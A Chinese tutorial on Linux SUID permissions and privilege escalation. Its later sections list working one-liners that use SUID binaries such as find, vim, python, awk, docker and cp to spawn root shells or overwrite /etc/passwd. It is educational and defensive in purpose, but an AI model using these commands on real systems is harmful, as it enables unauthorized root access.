Linux下SUID提权学习 - 从原理到使用
目录
- 1. 文件权限介绍
- 1.1 suid权限
- 1.2 sgid权限
- 1.3 sticky权限
- 2. SUID权限
- 3. 设置SUID权限
- 4. SUID提权原理
- 5. SUID提权步骤
- 6. 常用指令的提权方法
- 6.1 nmap
- 6.2 find
- 6.3 vim
- 6.4 bash
- 6.5 less
- 6.6 more
- 6.7 其他命令的提权方法
1. 文件权限介绍
linux的文件有普通权限和特殊权限(三种)。
普通权限一般为:rwx,分别为读写执行,对应的数字表示为421。
三种特殊权限为:suid权限,sgid权限,sticky权限。其中suid权限作用于文件属主,sgid权限作用于属组上,sticky权限作用于other其他上。
1.1 suid权限
作用:让普通用户临时拥有该文件的属主的执行权限,suid权限只能应用在二进制可执行文件(命令)上,而且suid权限只能设置在属主位置上。
suid权限使用s表示,增加权限u+s,移除权限u-s;
suid权限也可以使用数字形式表示,0表示去除suid权限,4表示添加suid权限,而且是在原权限的数字表达形式开头加0或4,如:0755移除suid权限,4755添加suid权限。
1.2 sgid权限
作用:sgid权限一般应用在目录上,当一个目录拥有sgid权限时,任何用户在该目录下创建的文件的属组都会继承该目录的属组。
sgid权限也使用s表示,增加权限g+s,移除权限g-s;
sgid权限也可以使用数字形式表示,0表示去除sgid权限,2表示添加sgid权限,而且是在原权限的数字表达形式开头加0或2,如:0755移除sgid权限,2755添加sgid权限。
1.3 sticky权限
作用:sticky权限一般针对目录来设置,作用是只允该目录下的文件的创建者删除自己的创建的文件,不允许其他人删除文件。(root用户除外,因为root用户是超级管理员),而且sticky权限只能设置在other位置上。
sticky权限使用t表示,增加权限o+t,移除权限o-t;
sticky权限也可以使用数字形式表示,0表示去除权限,1表示添加权限,而且是在原权限的数字表达形式开头加0或1,如下:如:0755移除sticky权限,1755添加sticky权限。
2. SUID权限
SUID(Set UID)权限:
- 只针对二进制可执行(命令)文件,对于非可执行文件没有任何意义。
- 执行者对于该文件需要具有x的可执行权限。
- 在执行过程中,调用者会暂时获得该文件的所有者权限。
- 本权限仅在执行该程序的过程中(run-time)有效。
查看文件是否具有suid权限:ls -al filename
例如:查看sudo文件的suid权限:ls -al /usr/bin/sudo
3. 设置SUID权限
- 方法一:sgid权限可以使用s表示。
chmod u+s filename #增加suid权限
chmod u-s filename #移除suid权限命令解释:
chmod WhoWhatWhich filename其中:Who(代表身份): u,g,o,a (user, group, other, all)What(代表动作): +, -, = (add, remove, set exact)Which(代表访问级别): r,w,x,s,t (read, write, execute,SUID/SGID,Sticky )
运行结果:
- 方法二:sgid权限也可以使用数字形式表示。0表示移除suid权限,4表示增加suid权限,而且是在原权限的数字表达形式开头加0或4。
chmod 0755 filename #移除suid权限
chmod 4755 filename #增加suid权限命令解释:
chmod OneTwoThreeFour filename
其中:One(特殊权限位):当不设置时默认为0,SUID = 4,SGID = 2,Sticky = 1Two(所有者权限):读权限加4,写权限加2,执行权限加1Three(所有组权限):读权限加4,写权限加2,执行权限加1Four(其他用户权限):读权限加4,写权限加2,执行权限加1
运行结果:
4. SUID提权原理
SUID(Set User ID)是对二进制程序进行的一种特殊权限设置,可以让二进制程序的执行者临时拥有文件属主的权限,也正是因为这个特性,假设我们以非 root 用户身份访问目标系统,并且我们发现启用了 suid 位的二进制文件,那么这些文件/程序/命令可以以 root 权限运行。
5. SUID提权步骤
- 查找具备suid权限的文件。
- 查找对应文件的利用方法。不是所有文件都可以利用。
查找有suid权限文件的命令:以下三条命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。
find / -perm -u=s -type f 2>/dev/null命令解释:/ 表示从文件系统的顶部(根)开始,查找每个目录-perm 表示搜索后面的权限-u=s 表示查找 root 用户拥有的文件-type 表示我们正在寻找的文件类型f 表示普通文件,而不是目录或特殊文件2 表示到进程的第二个文件描述符,即 stderr(标准错误)> 表示重定向/dev/null 是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。
运行结果:
find / -user root -perm -4000 -print 2>/dev/null命令解释:-user root 表示文件的所有者是root-perm 表示搜索后面的权限-4000 表示查找有suid权限位的文件
运行结果:
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null参数解释:-exec 表示查找到文件后要执行的命令ls -ldb {} \; 其中 -l 表示以长格式显示当前目录中的文件和目录-d 表示目录-b 表示块设备{} 表示find查找出来的文件\ 表示转义,和{}之间需要有空格; 表示要执行的命令的结束符
运行结果:
6. 常用指令的提权方法
已知具有suid权限的常用的二进制文件大体有:nmap,vim,find,bash,more,less,nano,cp,awk等。
6.1 nmap
适用版本:nmap2.02到5.21。
在早期的nmap版本中,带有交互模式,所以允许用户执行shell命令。
进入nmap交互模式:nmap --interactive
在nmap的交互模式中,通过如下命令提权:
nmap> !sh
sh-3.2# whoami
root
在msf中也又利用nmap进行提权的模块:exploit/unix/local/setuid_nmap
6.2 find
find用来在系统中查找文件。同时具有执行命令的能力。因此,如果配置了suid权限,则可以通过find执行的命令都可以用root身份去执行。
通过如下命令提权:
touch anyfile #新建一个文件anyfile,必须要有这个文件
find anyfile -exec whoami \; #通过文件anyfile执行命令whoami
因此可以利用nc命令来反弹shell。
6.3 vim
vim的主要作用是做编辑器。如果配置了suid权限,将会继承root权限,因此可以读取系统上所有文件。
通过如下命令提权:
vim.tiny /etc/passwdvim.tiny
#vim命令
:set shell = '/bin/sh'
:shell
6.4 bash
以下命令将以root身份打开一个bash shell:
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
6.5 less
less命令也可以进入shell:
less /etc/passwd
#在less中输入:
!/bin/sh
要注意的是使用less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!
命令进入shell。
6.6 more
more命令进入shell和less相同:
more /etc/passwd
#在more中输入:
!/bin/sh
要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!
命令进入shell。
6.7 其他命令的提权方法
命令 | 利用方法 |
---|---|
zsh | zsh |
xargs | xargs -a /dev/null sh -p |
watch | watch -x sh -c ‘reset; exec sh -p 1>&0 2>&0’ |
timeout | timeout 7d /bin/sh -p |
time | time /bin/sh -p |
tclsh | 1、tclsh 2、exec /bin/sh -p <@stdin >@stdout 2>@stderr |
taskset | taskset 1 /bin/sh -p |
stdbuf | stdbuf -i0 /bin/sh -p |
strace | strace -o /dev/null /bin/sh -p |
ssh | ssh -o ProxyCommand=’;sh -p 0<&2 1>&2’ x |
setarch | setarch $(arch) /bin/sh -p |
rsync | rsync -e ‘sh -p -c “sh -p 0<&2 1>&2”’ 127.0.0.1:/dev/null |
rpm | rpm --eval ‘%{lua:os.execute(“/bin/sh -p”)}’ |
python | python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’ |
php | 1、CMD=“/bin/sh” 2、 php -r “pcntl_exec(’/bin/sh’, [’-p’]);” |
nice | nice /bin/sh -p |
nano | 1、nano //运行nano程序 2、Ctrl + R //按下ctrl+r 3、Ctrl + X //按下ctrl+x 4、reset; sh -p 1>&0 2>&0 //输入命令 |
more | 1、more /etc/profile 2、!/bin/sh -p |
logsave | logsave /dev/null /bin/sh -i -p |
less | less /etc/profile //读取文件,在底行输入!/bin/sh -p |
ksh | ksh -p |
ip | 1、ip netns add foo 2、ip netns exec foo /bin/sh -p 3、ip netns delete foo |
ionice | ionice /bin/sh -p |
git | git help status |
gimp | gimp -idf --batch-interpreter=python-fu-eval -b ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’ |
gdb | gdb -nx -ex ‘python import os; os.execl(“/bin/sh”, “sh”, “-p”)’ -ex quit |
ftp | ftp //在底行输入“!/bin/sh -p” |
flock | flock -u / /bin/sh -p |
find | find . -exec /bin/sh -p ; -quit |
expect | expect -c ‘spawn /bin/sh -p;interact’ |
env | env /bin/sh -p |
ed | ed //在底行输入“!/bin/sh -p” |
docker | docker run -v /:/mnt --rm -it alpine chroot /mnt sh |
dmesg | dmesg -H//在底行输入“!/bin/sh -p” |
csh | csh -b |
bash | bash -p |
awk | awk ‘BEGIN {system(“/bin/bash -p”)}’ |
perl | perl exec “/bin/bash”; |
cp | 使用cp命令覆盖原来的/etc/passwd文件。 |
相关文章:
Linux下SUID提权学习 - 从原理到使用
目录 1. 文件权限介绍1.1 suid权限1.2 sgid权限1.3 sticky权限 2. SUID权限3. 设置SUID权限4. SUID提权原理5. SUID提权步骤6. 常用指令的提权方法6.1 nmap6.2 find6.3 vim6.4 bash6.5 less6.6 more6.7 其他命令的提权方法 1. 文件权限介绍 linux的文件有普通权限和特殊权限&a…...
Redis主从复制搭建一主多从
1、创建/myredis文件夹 2、复制redis.conf配置文件到新建的文件夹中 3、配置一主两从,创建三个配置文件 ----redis6379.conf ----redis6380.conf ----redis6381.conf 4、在三个配置文件写入内容 redis6379.conf里面的内容 include /myredis/redis.conf pidfile /va…...
GPT-4o文科成绩超一本线,理科为何表现不佳?
目录 01 评测榜单 02 实际效果 什么?许多大模型的文科成绩竟然超过了一本线,还是在竞争激烈的河南省? 没错,最近有一项大模型“高考大摸底”评测引起了广泛关注。 河南高考文科今年的一本线是521分,根据这项评测&…...
Lombok的hashCode方法
Lombok对于重写hashCode的算法真的是很经典,但是目前而言有一个令人难以注意到的细节。在继承关系中,父类的hashCode针对父类的所有属性进行运算,而子类的hashCode却只是针对子类才有的属性进行运算,立此贴提醒自己。 目前重写ha…...
关于springboot创建kafkaTopic
工具类提供,方法名见名知意。使用kafka admin import org.apache.kafka.clients.admin.*; import org.apache.kafka.common.KafkaFuture;import java.util.*; import java.util.concurrent.ExecutionException;import org.apache.kafka.clients.admin.AdminClient; …...
OOAD的概念
面向对象分析与设计(OOAD, Object-Oriented Analysis and Design)是一种软件开发方法,它利用面向对象的概念和技术来分析和设计软件系统。OOAD 主要关注对象、类以及它们之间的关系,通过抽象、封装、继承和多态等面向对象的基本原…...
Day47
Day47 手写Spring-MVC之DispatcherServlet DispatcherServlet的思路: 前端传来URI,在TypeContainer容器类中通过uri得到对应的类描述类对象(注意:在监听器封装类描述类对象的时候,是针对于每一个URI进行封装的&#x…...
【面试系列】后端开发工程师 高频面试题及详细解答
欢迎来到我的博客,很高兴能够在这里和您见面!欢迎订阅相关专栏: ⭐️ 全网最全IT互联网公司面试宝典:收集整理全网各大IT互联网公司技术、项目、HR面试真题. ⭐️ AIGC时代的创新与未来:详细讲解AIGC的概念、核心技术、…...
mac|浏览器链接不上服务器但可以登微信
千万千万千万不要没有关梯子直接关机,不然就会这样子呜呜呜 设置-网络,点击三个点--选择--位置--编辑位置(默认是自动) 新增一个,然后选中点击完成 这样就可以正常上网了...
Spring Cloud Alibaba之负载均衡组件Ribbon
一、什么是负载均衡? (1)概念: 在基于微服务架构开发的系统里,为了能够提升系统应对高并发的能力,开发人员通常会把具有相同业务功能的模块同时部署到多台的服务器中,并把访问业务功能的请求均…...
tkinter显示图片
tkinter显示图片 效果代码解析打开和显示图像 代码 效果 代码解析 打开和显示图像 def open_image():file_path filedialog.askopenfilename(title"选择图片", filetypes(("PNG文件", "*.png"), ("JPEG文件", "*.jpg;*.jpeg&q…...
000.二分查找算法题解目录
000.二分查找算法题解目录 69. x 的平方根(简单)34. 在排序数组中查找元素的第一个和最后一个位置(中等)...
数据资产赋能企业决策:通过精准的数据分析和洞察,构建高效的数据资产解决方案,为企业提供决策支持,助力企业实现精准营销、风险管理、产品创新等目标,提升企业竞争力
一、引言 在信息化和数字化飞速发展的今天,数据已成为企业最宝贵的资产之一。数据资产不仅包含了企业的基本信息,还蕴含了丰富的市场趋势、消费者行为和潜在商机。如何通过精准的数据分析和洞察,构建高效的数据资产解决方案,为企…...
【java开发环境】多版本jdk 自由切换window和linux
win10 一、准备 各种版本的jdk,按自己的需要下载。 我这里是需要jdk17和jdk8。 1、jdk17 下载:Java Downloads | Oracle,选择exe后缀文件 2、jdk8下 载:Java Downloads | Oracle,选择exe后缀文件 二、详细步骤 1、…...
MySQL实训项目——餐饮点餐系统
项目简介:餐饮点餐系统是一款为餐厅和顾客提供便捷点餐服务的在线平台。通过该系统,餐厅能够展示其菜单,顾客可以浏览菜品,并将其加入购物车或直接下单。系统还提供了订单管理功能,方便餐厅跟踪和处理顾客的订单。 1. …...
昇思MindSpore学习总结七——模型训练
1、模型训练 模型训练一般分为四个步骤: 构建数据集。定义神经网络模型。定义超参、损失函数及优化器。输入数据集进行训练与评估。 现在我们有了数据集和模型后,可以进行模型的训练与评估。 2、构建数据集 首先从数据集 Dataset加载代码࿰…...
AI时代创新潮涌,从探路到引路,萤石云引领千行百业创新
步入AI新时代,AI、云计算、大数据等技术迅速迭代,并日益融入经济社会发展各领域全过程,数字经济成为推动千行百业转型升级的重要驱动力量。 今年的政府工作报告提出,深入推进数字经济创新发展。积极推进数字产业化、产业数字化&a…...
计算机毕业设计Python深度学习美食推荐系统 美食可视化 美食数据分析大屏 美食爬虫 美团爬虫 机器学习 大数据毕业设计 Django Vue.js
Python美食推荐系统开题报告 一、项目背景与意义 随着互联网和移动技术的飞速发展,人们的生活方式发生了巨大变化,尤其是餐饮行业。在线美食平台如雨后春笋般涌现,为用户提供了丰富的美食选择。然而,如何在海量的餐饮信息中快速…...
【鸿蒙学习笔记】鸿蒙ArkTS学习笔记
应用开发导读:https://developer.huawei.com/consumer/cn/doc/harmonyos-guides-V5/application-dev-guide-V5 这里写目录标题 基础组件通用属性容器组件Button 迭代完备 【鸿蒙培训】第1天・环境安装 【鸿蒙培训】第2天・装饰器・组件和页面…...
广东行政职业学院数据智能订单班开班暨上进双创工作室签约仪式圆满结束
为响应教育领域数字化与智能化浪潮这一变革,给学生提供更好的教育资源和实践机会,6月27日,“泰迪广东行政职业学院数据智能订单班开班仪式暨上进双创工作室签约授牌”在广东行政职业学院举行。广东行政职业学院智慧政务学院(电子信…...
python与matlab微分切片的区别
python python使用np中的linespace生成等间隔数值, import numpy as np numpy.linspace(start, stop, num50, endpointTrue, retstepFalse, dtypeNone, axis0)start:序列的起始值。stop:序列的结束值。如果 endpoint 为 True,该…...
MSPG3507——蓝牙接收数据显示在OLED,滴答定时器延时500MS
#include "ti_msp_dl_config.h" #include "OLED.h" #include "stdio.h"volatile unsigned int delay_times 0;//搭配滴答定时器实现的精确ms延时 void delay_ms(unsigned int ms) {delay_times ms;while( delay_times ! 0 ); } int a0; …...
Linux 安装 Redis 教程
优质博文:IT-BLOG-CN 一、准备工作 配置gcc:安装Redis前需要配置gcc: yum install gcc如果配置gcc出现依赖包问题,在安装时提示需要的依赖包版本和本地版本不一致,本地版本过高,出现如下问题:…...
【高考志愿】建筑学
目录 一、专业介绍 1.1 专业定义 1.2 专业培养目标 1.3 核心课程 二、就业方向和前景 2.1 就业方向 2.2 专业前景 三、报考注意 四、行业趋势与未来展望 五、建筑学专业排名 一、专业介绍 1.1 专业定义 建筑学,这一充满艺术与科技魅力的学科,…...
Kubernetes的发展历程:从Google内部项目到云原生计算的基石
目录 一、起源与背景 1.1 Google的内部项目 1.2 Omega的出现 二、Kubernetes的诞生 2.1 开源的决策 2.2 初期发布 三、Kubernetes的发展历程 3.1 社区的成长 3.2 生态系统的壮大 3.3 重大版本和功能 3.4 多云和混合云的支持 四、Kubernetes的核心概念 4.1 Pod 4.…...
/proc/config.gz
前言 有时候,我们想知道一个运行着的内核都打开了哪些编译选项,当然,查看编译环境的 .config 文件是一个不错的选择,除此之外,还有没有别的办法呢?当然有,那就是 /proc/config.gz。 一睹风采 …...
论坛万能粘贴手(可将任意文件转为文本)
该软件可将任意文件转为文本。 还原为原文件的方法:将得到的文本粘贴到记事本,另存为UUE格式,再用压缩软件如winrar解压即可得到原文件。建议用于小软件。 下载地址:https://download.csdn.net/download/wgxds/89505015 使用演示…...
学习笔记——动态路由——OSPF(OSPF协议的工作原理)
八、OSPF协议的工作原理 1、原理概要 (1)相邻路由器之间周期性发送HELLO报文,以便建立和维护邻居关系 (2)建立邻居关系后,给邻居路由器发送数据库描述报文(DBD),也就是将自己链路状态数据库中的所有链路状态项目的摘要信息发送给邻居路由器…...
Mybatis1(JDBC编程和ORM模型 MyBatis简介 实现增删改查 MyBatis生命周期)
目录 一、JDBC编程和ORM模型 1. JDBC回顾 2. JDBC的弊端 3. ORM模型 Mybatis和hibernate 区别: 4. mybatis 解决了jdbc 的问题 二、MyBatis简介 1. MyBatis快速开始 1.1 导入jar包 1.2 引入 mybatis-config.xml 配置文件 1.3 引入 Mapper 映射文件 1.3 测试 …...
论文阅读YOLO-World: Real-Time Open-Vocabulary Object Detection
核心: 开放词汇的实时的yolo检测器。重参数化的视觉语言聚合路径模块Re-parameterizable VisionLanguage Path Aggregation Network (RepVL-PAN)实时核心:轻量化的检测器离线词汇推理过程重参数化 方法 预训练方案:将实例注释重新定义为区域…...
SM2的签名值byte数组与ASN.1互转
ASN.1抽象语言标记(Abstract Syntax Notation One) ASN.1是一种 ISO/ITU-T 标准,描述了一种对数据进行表示、编码、传输和解码的数据格式,它提供了一整套正规的格式用于描述对象的结构。 一、该结构的应用场景 例如在做待签名的数字信封时,数字信封使用ASN.1封装,这个时…...
云计算与生成式AI的技术盛宴!亚马逊云科技深圳 Community Day 社区活动流程抢先知道!
小李哥最近要给大家分享7月7日在深圳的即将举办的亚马逊云科技生成式AI社区活动Community Day ,干货很多内容非常硬核,不仅有技术分享学习前沿AI技术,大家在现场还可以动手实践沉浸式体验大模型,另外参与现场活动还可以领取诸多精…...
【鸿蒙学习笔记】基础组件Progress:进度条组件
官方文档:Progress 目录标题 作用最全属性迭代追加进度赋值风格样式 作用 进度条组件 最全属性迭代追加 Progress({ value: 20, total: 100, type: ProgressType.Linear }).color(Color.Green)// 颜色.width(200)// 大小.height(50)// 高度.value(50)// 进度可更…...
前程无忧滑块
声明(lianxi a15018601872) 本文章中所有内容仅供学习交流使用,不用于其他任何目的,抓包内容、敏感网址、数据接口等均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关! 前言(lianxi …...
一站式uniapp优质源码项目模版交易平台的崛起与影响
一、引言 随着信息技术的飞速发展,软件源码已成为推动行业进步的重要力量。源码的获取、交易和流通,对于开发者、企业以及项目团队而言,具有极其重要的意义。为满足市场对高质量源码资源的迫切需求,一站式uniapp优质源码项目模版…...
Python中vars用法
在 Python 中,vars() 函数返回对象的 __dict__ 属性的字典。这个字典包含了对象的所有属性和它们的值。vars() 函数可以用于模块、类、实例,或者拥有 __dict__ 属性的任何其它对象。这里有几个使用 vars() 的例子: 一.模块 如果对一个模块使…...
【机器学习】基于Transformer的迁移学习:理论与实践
引言 在机器学习领域,迁移学习已成为提升模型训练效率和性能的重要策略,特别是在标注数据稀缺的场景下。Transformer模型自2017年由Google提出以来,在自然语言处理(NLP)领域取得了突破性进展,并逐渐扩展到…...
如何应对情绪和培养理性的书
以下是几本关于如何应对情绪和培养理性的书籍推荐: 《情绪智商》(Emotional Intelligence) - 丹尼尔戈尔曼(Daniel Goleman) 这本书探讨了情绪智商(EQ)的重要性以及如何通过提高EQ来改善个人和职…...
[数据集][目标检测]电缆钢丝绳线缆缺陷检测数据集VOC+YOLO格式1800张3类别
数据集格式:Pascal VOC格式YOLO格式(不包含分割路径的txt文件,仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数):1800 标注数量(xml文件个数):1800 标注数量(txt文件个数):1800 标注…...
【Git 学习笔记】Ch1.1 Git 简介 + Ch1.2 Git 对象
还是绪个言吧 今天整理 GitHub 仓库,无意间翻到了几年前自学 Git 的笔记。要论知识的稳定性,Git 应该能挤进前三——只要仓库还在,理论上当时的所有开发细节都可以追溯出来。正好过段时间会用到 Git,现在整理出来就当温故知新了。…...
Python 中别再用 ‘+‘ 拼接字符串了!
目录 引言 为什么不推荐使用 "" 示例代码 更高效的替代方法 使用 join 方法 示例代码 使用格式化字符串(f-strings) 示例代码 引言 大家好,在 Python 编程中,我们常常需要对字符串进行拼接。你可能会自然地想到…...
六西格玛绿带培训的证书有什么用处?
近年来,六西格玛作为一套严谨而系统的质量管理方法,被广泛运用于各行各业。而六西格玛绿带培训证书,作为这一方法论中基础且重要的认证,对于个人和企业而言,都具有不可忽视的价值。本文将从多个角度深入探讨六西格玛绿…...
《妃梦千年》第二十章:风雨欲来
第二十章:风雨欲来 战斗的胜利让林清婉和皇上的关系更加亲密,但宫中的阴谋却并未因此而停止。一天,林清婉正在寝宫中思考未来的对策,忽然接到一个紧急消息。小翠匆匆跑来,神色紧张:“娘娘,太后…...
深入理解二分法
前言 二分法(Binary Search)是一种高效的查找算法,广泛应用于计算机科学和工程领域。它用于在有序数组中查找特定元素,其时间复杂度为 O(log n),显著优于线性搜索的 O(n)。本文将深入介绍二分法的原理、实现及其应用场…...
【C命名规范】遵循良好的命名规范,提高代码的可读性、可维护性和可复用性
/******************************************************************** * brief param return author date version是代码书写的一种规范 * brief :简介,简单介绍函数作用 * param :介绍函数参数 * return:函数返回类型说明 * …...
Hbase面试题总结
一、介绍下HBase架构 --HMaster HBase集群的主节点,负责管理和协调整个集群的操作。它处理元数据和表的分区信息,控制RegionServer的负载均衡和故障恢复。--RegionServer HBase集群中的工作节点,负责存储和处理数据。每个RegionServer管理若…...
C语言部分复习笔记
1. 指针和数组 数组指针 和 指针数组 int* p1[10]; // 指针数组int (*p2)[10]; // 数组指针 因为 [] 的优先级比 * 高,p先和 [] 结合说明p是一个数组,p先和*结合说明p是一个指针 括号保证p先和*结合,说明p是一个指针变量,然后指…...
Rust学习笔记 (命令行命令) : 用override set 设置工具链
在cargo run某个项目时出现了如下错误:error: failed to run custom build command for ring v0.16.20(无法运行“Ring v0.16.20”的自定义构建命令),在PowerShell命令行运行命令 rustup override set stable-msvc后成功运行。 o…...
cv::Mat类的矩阵内容输出的各种格式的例子
操作系统:ubuntu22.04OpenCV版本:OpenCV4.9IDE:Visual Studio Code编程语言:C11 功能描述 我们可以这样使用:cv::Mat M(…); cout << M;,直接将矩阵内容输出到控制台。 输出格式支持多种风格,包括O…...
Redis--注册中心集群 Cluster 集群-单服务器
与“多服务器集群”一致需要创建redis配置模板 参照以下链接 CSDN 创建redis容器 node01服务器上创建容器 docker run -d --name redis-6381 --net host --privilegedtrue \ -v /soft/redis-cluster/6381/conf/redis.conf:/etc/redis/redis.conf \ -v /soft/redis-cluster/6…...
打卡第二十七天 455分发饼干 376摆动序列
第一题: 原题链接:455. 分发饼干 - 力扣(LeetCode) 思路: 将大的饼干来满足胃口大的孩子。 先将小孩子的胃口和饼干的尺寸进行排序。然后从后往前遍历胃口,饼干的尺寸也从后往前。如果饼干尺寸大于等于…...
如何实现在短信链接中直接打开微信小程序
你是否有过这样的体验,收到一条短信,里面有一个链接,点击后就直接打开了微信,并且进入了一个小程序。这种神奇的功能是如何实现的呢?本文将为你揭晓答案。 利用微信URL Link 接口生成链接 要实现短信中的链接直接打开…...
ROS2自定义接口Python实现机器人移动
1.创建机器人节点接口 cd chapt3_ws/ ros2 pkg create example_interfaces_rclpy --build-type ament_python --dependencies rclpy example_ros2_interfaces --destination-directory src --node-name example_interfaces_robot_02 --maintainer-name "Joe Chen" …...
WebDriver API
WebDriver API 是一组允许程序控制和自动化Web浏览器的接口,它是Selenium框架的一部分。Selenium 是一个广泛使用的开源自动化测试工具,用于Web应用程序的自动化测试。WebDriver API 提供了与浏览器进行交互的能力,支持多种浏览器,…...
数组-移除元素
移除元素 移除元素(leetcode27) var removeElement function(nums, val) {const n nums.length;let left 0;for (let right 0; right < n; right) {if (nums[right] ! val) {nums[left] nums[right];left;}}return left; };删除有序数组中的重复…...
加油卡APP开发,汽车加油省钱新模式
随着社会生活水平的提高,汽车已经成为了家家户户的出行工具,汽车加油也就成为了居民日常出行必不可少的开销。为了让居民享受到更加便利、优惠的加油体验,加油卡APP由此产生,不仅方便了用户,也给汽车加油市场提供了更加…...
AIONV霸王龙车门首开,首款全球战略车“外刚内柔”
埃安凭借重磅车型带起了产品推新的节奏。6月20日,埃安首款全球战略车型埃安V?霸王龙全球媒体品鉴会上,新车内饰设计首次全面公开,同时,埃安官方宣布,品牌将全面启用AION字母标作为品牌全球标识,以更具国际化的形象面向全球。埃安V?霸王龙定位为中型SUV,与燃油车时代的…...
【已解决】使用token登录机制,token获取不到,blog_list.html界面加载不出来
Bug产生 今天使用token完成用户登录信息的存储的时候被卡了大半天。 因为登录的功能写的已经很多了,所以今天就没有写一点验一点,而是在写完获取博客列表功功能,验证完它的后端后,了解完令牌的基本使用以及Jwt的基本使用方式——…...
C++进程间通信 匿名管道和命名管道
C进程间通信 匿名管道和命名管道 1. 匿名管道匿名管道概述匿名管道代码示例代码解释运行结果 2. 命名管道命名管道概述命名管道代码示例写入数据的程序(writer.cpp)读取数据的程序(reader.cpp) 代码解释运行步骤运行结果 匿名管道…...
linux定时删除历史日志
在Linux系统中,日志文件是记录系统、应用程序或服务的运行信息、错误消息和警告的重要工具。然而,随着时间的推移,这些日志文件会不断积累,占用大量的磁盘空间。如果不及时清理,可能会导致磁盘空间不足,从而…...
函数调用时长的关键点:揭秘参数位置的秘密
新书上架~👇全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我👆,收藏下次不迷路┗|`O′|┛ 嗷~~ 目录 一、默认参数的秘密 示例代码 二、关键字参数与位置参数的舞蹈 示例代码 总结 一、默认参…...
C语言---求一个整数存储在内存中的二进制中1的个数--3种方法
//编写代码实现:求一个整数存储在内存中的二进制中1的个数 //第一种写法 /*int count_bit_one(unsigned int n) {int count 0;while (n )//除到最后余数是0,那么这个循环就结束了{//这个题就是可以想成求15的二进制的过程//每次都除以2,余数…...